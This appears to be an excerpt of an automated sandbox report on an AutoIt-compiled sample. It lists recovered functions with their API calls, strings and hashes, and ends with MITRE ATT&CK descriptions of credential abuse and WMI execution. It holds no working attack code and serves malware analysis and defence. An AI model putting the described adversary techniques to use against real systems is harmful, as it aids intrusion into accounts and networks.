Opcode ID: 5941855965f94cd57137c04d14c93d68877adddc96b1f2cfcee80af51c51314b
Instruction ID: a894cce392cbd657709fe28f5c957bd1646f454138315c3081a8660147533554
Opcode Fuzzy Hash: 5941855965f94cd57137c04d14c93d68877adddc96b1f2cfcee80af51c51314b
Instruction Fuzzy Hash: 3F318E72210604AADB109F28DC81ABB73ADFF88724F10C619F9A997280DA31AD91D760

Function 00974537 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 0097461F
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00974634

Strings

', xrefs: 0097458E

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 0cac043db23c2c72e73aba8fc2a058c65a92df9d202f58b6efbbc4210f1c6c1b
Instruction ID: 0ab93869541a78e1bd1698ec3f806f1aaa150858cee816f650db9bd3fced8f90
Opcode Fuzzy Hash: 0cac043db23c2c72e73aba8fc2a058c65a92df9d202f58b6efbbc4210f1c6c1b
Instruction Fuzzy Hash: 15310775A0130A9FDB14CFA9C991BDA7BB9FF49300F14816AE909AB352D770A941CF90

Function 009731EF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0097327C
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00973287

Strings

Combobox, xrefs: 00973249

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 8458c0fa2514b4be404d456400add8e0490a2c9da2b22649ba05aff9ebad446f
Instruction ID: 33655c99404f258b811704e8d1d04bd6a139038cb1dd7a15d4fb7163d94ccf8c
Opcode Fuzzy Hash: 8458c0fa2514b4be404d456400add8e0490a2c9da2b22649ba05aff9ebad446f
Instruction Fuzzy Hash: 6011B6723041087FEF119E54DC85EBB376EEB99364F10C528F52CA7291D6319D51A760

Function 00973710 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 008E600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 008E604C
Part of subcall function 008E600E: GetStockObject.GDI32(00000011), ref: 008E6060
Part of subcall function 008E600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 008E606A

GetWindowRect.USER32(00000000,?), ref: 0097377A
GetSysColor.USER32(00000012), ref: 00973794

Strings

static, xrefs: 00973757

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 3d322309cd6107134447a701decb1633b2b9a9ef00ff98cd27f686a53ab7fd2e
Instruction ID: 7ee0e9aae89f8c8b732e3312f9f44bc9e96d133dddc713b9d898c5bb5df0f2b5
Opcode Fuzzy Hash: 3d322309cd6107134447a701decb1633b2b9a9ef00ff98cd27f686a53ab7fd2e
Instruction Fuzzy Hash: 781129B2610209AFDB00DFA8CC46EEA7BB8FB09354F008918F959E2250E735E851AB50

Function 0095CD1E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 0095CD7D
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 0095CDA6

Strings

<local>, xrefs: 0095CD66

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 6d496f61c9775429eca0efd3d2174d23de7414109d4685b9ff801924ba230c16
Instruction ID: f7aa57339800a4275453c02eeff1886c853b9b027bac7691cdfce34228af7d54
Opcode Fuzzy Hash: 6d496f61c9775429eca0efd3d2174d23de7414109d4685b9ff801924ba230c16
Instruction Fuzzy Hash: 4611A3F22157357ED7288A678C45FE7BEBCEB127A5F00462AB909D20C0D6649848D7F0

Function 00973429 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 009734AB
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 009734BA

Strings

edit, xrefs: 0097348F

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 2d09b41bc72ba7ae4e4637f6667d33dffe323d88692fc4eee361908d8b7d716e
Instruction ID: 9d694a802690189f7c8c47e1de1d2ae4a717ea5cd0bb424519ac0727c6dbdbaf
Opcode Fuzzy Hash: 2d09b41bc72ba7ae4e4637f6667d33dffe323d88692fc4eee361908d8b7d716e
Instruction Fuzzy Hash: 5E11BF72110108ABEB154F64DC84AAB376EEB55378F50C724FA68931E0C731DC91A750

Function 00946C86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 008E9CB3: _wcslen.LIBCMT ref: 008E9CBD

CharUpperBuffW.USER32(?,?,?), ref: 00946CB6
_wcslen.LIBCMT ref: 00946CC2

Strings

STOP, xrefs: 00946CBC, 00946CC1

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: STOP
API String ID: 1256254125-2411985666
Opcode ID: df83cde484df009e9f9eff6b6ad5f5d6c324fa9fbe69a5a262efb4c123aeb6e9
Instruction ID: 5d864e1e6771a6bc704d3112a46e84455ed6554b4c36e18f6e5dded219fa167e
Opcode Fuzzy Hash: df83cde484df009e9f9eff6b6ad5f5d6c324fa9fbe69a5a262efb4c123aeb6e9
Instruction Fuzzy Hash: 3F01C072A105278ACB20AFBDDC80DBF77A9FF627187510938E9A2961D0EB31DD40C652

Function 00941CDE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 008E9CB3: _wcslen.LIBCMT ref: 008E9CBD

Part of subcall function 00943CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00943CCA

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00941D4C

Strings

ComboBox, xrefs: 00941CEB
ListBox, xrefs: 00941D16

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: d8ab0f13537a0a201814c53bcc52838584882dc7a5646d4c3740f66495f24684
Instruction ID: a0ec848224502dc1f665e2e2cacf8fabc72852782b1caea7b02caffe6642fd07
Opcode Fuzzy Hash: d8ab0f13537a0a201814c53bcc52838584882dc7a5646d4c3740f66495f24684
Instruction Fuzzy Hash: AB01D8B1A41214AB8B18FFA4CC51DFE7368FB47350B140A19F862972D1EA7059488661

Function 00941BD8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 008E9CB3: _wcslen.LIBCMT ref: 008E9CBD

Part of subcall function 00943CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00943CCA

SendMessageW.USER32(?,00000180,00000000,?), ref: 00941C46

Strings

ComboBox, xrefs: 00941BE5
ListBox, xrefs: 00941C10

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 829f393369aa152e0b91e86d1ee19751c518d9f5f3d77452191b23432963960e
Instruction ID: da48cc0bcd4bf2efa5a008c8ec055e667ff16aab2188bbf360c7136251e599ba
Opcode Fuzzy Hash: 829f393369aa152e0b91e86d1ee19751c518d9f5f3d77452191b23432963960e
Instruction Fuzzy Hash: 3C01A77578111867CB18FBA4CD92EFF77ACEB52341F140419E886A7281EA649F48C6B2

Function 00941C5C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 008E9CB3: _wcslen.LIBCMT ref: 008E9CBD

Part of subcall function 00943CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00943CCA

SendMessageW.USER32(?,00000182,?,00000000), ref: 00941CC8

Strings

ComboBox, xrefs: 00941C69
ListBox, xrefs: 00941C94

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 0a6080373302c317f468df9dbe42f988b6fc985282c346a1742b9469ad77e41b
Instruction ID: 87068d18fe16c69a111eeaa11afd354a2eeab63989dc265aa6871f2ceacb8907
Opcode Fuzzy Hash: 0a6080373302c317f468df9dbe42f988b6fc985282c346a1742b9469ad77e41b
Instruction Fuzzy Hash: E901D6B179011867CB14FBA5CE91EFE73ACAB12341F540419BC82B3281FA609F48C6B2

Function 0096747E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00967493
_wcslen.LIBCMT ref: 009674B9

Strings

3, 3, 16, 1, xrefs: 00967483

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: _wcslen
String ID: 3, 3, 16, 1
API String ID: 176396367-3042988571
Opcode ID: fd3102558ddeb3f8179a86ad98873fba75d494861c7639be238c53a39e8b4e84
Instruction ID: 70eb26b633ca3eda494f64afb3339bbb43c4610a60050b2bf3a28065de0911e5
Opcode Fuzzy Hash: fd3102558ddeb3f8179a86ad98873fba75d494861c7639be238c53a39e8b4e84
Instruction Fuzzy Hash: 14E02B4220522014D23112BAACC5B7FD68ECFC5F90710183BFE81C22BAEE948D9193A1

Function 00940B15 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00940B23

Strings

Error allocating memory., xrefs: 00940B1C
AutoIt, xrefs: 00940B17

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Message
String ID: AutoIt$Error allocating memory.
API String ID: 2030045667-4017498283
Opcode ID: 50f69c66c52d3daf74b0448d039501e058acb4c30afefde04704303dc5a11fdd
Instruction ID: b9d84d7a6bb80fead54510ae23419fbd2ed667e62fc21a9e55d91ad0cf092697
Opcode Fuzzy Hash: 50f69c66c52d3daf74b0448d039501e058acb4c30afefde04704303dc5a11fdd
Instruction Fuzzy Hash: 7AE0D8733443082AD21436587C03F897A84DF45B54F10442EF78CD94C38AE1249006EA

Function 00900D42 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 008FF7C9: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00900D71,?,?,?,008E100A), ref: 008FF7CE

IsDebuggerPresent.KERNEL32(?,?,?,008E100A), ref: 00900D75
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,008E100A), ref: 00900D84

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00900D7F

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 55579361-631824599
Opcode ID: c03e9510445c91ed41674ba170f8e08e17b6d3736db80e40edb5490d1de748bd
Instruction ID: 19a1d949961e509047e756cf31c3a044eb965aab9b8ce41590551346caeb41e7
Opcode Fuzzy Hash: c03e9510445c91ed41674ba170f8e08e17b6d3736db80e40edb5490d1de748bd
Instruction Fuzzy Hash: 2AE06DB12007418FD7309FB8E8043467BE4BF40744F00892DE49AC6692EBB0E4888BA2

Function 00953017 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,00000001), ref: 0095302F
GetTempFileNameW.KERNEL32(?,aut,00000000,?), ref: 00953044

Strings

aut, xrefs: 00953038

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: cfd51b1d9c4ccc2d056b827d218d750391c388e4d5160f1e9dd9ceb653706fbd
Instruction ID: 47da988782df8b08e7e327ec00b4eba3b063bf2778b7a173e279acf8fce7626a
Opcode Fuzzy Hash: cfd51b1d9c4ccc2d056b827d218d750391c388e4d5160f1e9dd9ceb653706fbd
Instruction Fuzzy Hash: 2CD05EB350032877DB20A7A4AC0EFCB3A6CDB05750F4002A1B669E2096DAB0DA84CBD0

Function 0093D21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0093D220

Strings

X64, xrefs: 0093D2A8
%.3d, xrefs: 0093D22B

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: LocalTime
String ID: %.3d$X64
API String ID: 481472006-1077770165
Opcode ID: 17cffa6fdd60d89bbf8bebee0ecac0d541e2b51d8caec1a9c262886decccb497
Instruction ID: 519608edb77107da452723280d53968071e97ae755539fa458becd72c00c65c6
Opcode Fuzzy Hash: 17cffa6fdd60d89bbf8bebee0ecac0d541e2b51d8caec1a9c262886decccb497
Instruction Fuzzy Hash: 1DD012A280A10CE9CB9096E0EC558BBB37CFB48301F608852FA26D1041DA38D548AF62

Function 00972322 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0097232C
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 0097233F

Part of subcall function 0094E97B: Sleep.KERNEL32 ref: 0094E9F3

Strings

Shell_TrayWnd, xrefs: 00972325

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 05bf0da8f85663fe560257162064e764dce01116eb04f4b8d39b595b3b8f854b
Instruction ID: be4a1eaddaf32935ac970b04a8f08abf6083f6c34c9bddb4a49a0682c0bc37fb
Opcode Fuzzy Hash: 05bf0da8f85663fe560257162064e764dce01116eb04f4b8d39b595b3b8f854b
Instruction Fuzzy Hash: 92D012773A8310B7E764B770DC4FFC67A14AB40B14F01491EB749AA1D0C9F0A841DA54

Function 00972356 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0097236C
PostMessageW.USER32(00000000), ref: 00972373

Part of subcall function 0094E97B: Sleep.KERNEL32 ref: 0094E9F3

Strings

Shell_TrayWnd, xrefs: 00972365

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 73f0eb1977737fef25cf414e527aa804aeb7b88ade791e146501fbd6ca3554d9
Instruction ID: 54f39d3020dc268e137434a00d948b016fd43724d59caa25d004a7240a7281f0
Opcode Fuzzy Hash: 73f0eb1977737fef25cf414e527aa804aeb7b88ade791e146501fbd6ca3554d9
Instruction Fuzzy Hash: 47D0C9723A9310BAE664A7709C4FFC66614AB45B14F01491AB649AA1D0C9A0A8419A58

Function 0091BDFD Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 0091BE93
GetLastError.KERNEL32 ref: 0091BEA1
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0091BEFC

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: ead8985164ff2191af7a55e9adfdc4fd351efc3553aca857bbd38c11a1c04648
Instruction ID: b4e0f1f721fed9c94975dd1900cd8bf655570e44c4ecf94c663e49ed0cee0fdf
Opcode Fuzzy Hash: ead8985164ff2191af7a55e9adfdc4fd351efc3553aca857bbd38c11a1c04648
Instruction Fuzzy Hash: 2C41EA3570420AAFCF21AF65CC54BFA7BAAEF41720F144169F959972E1DB308D82DB90

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

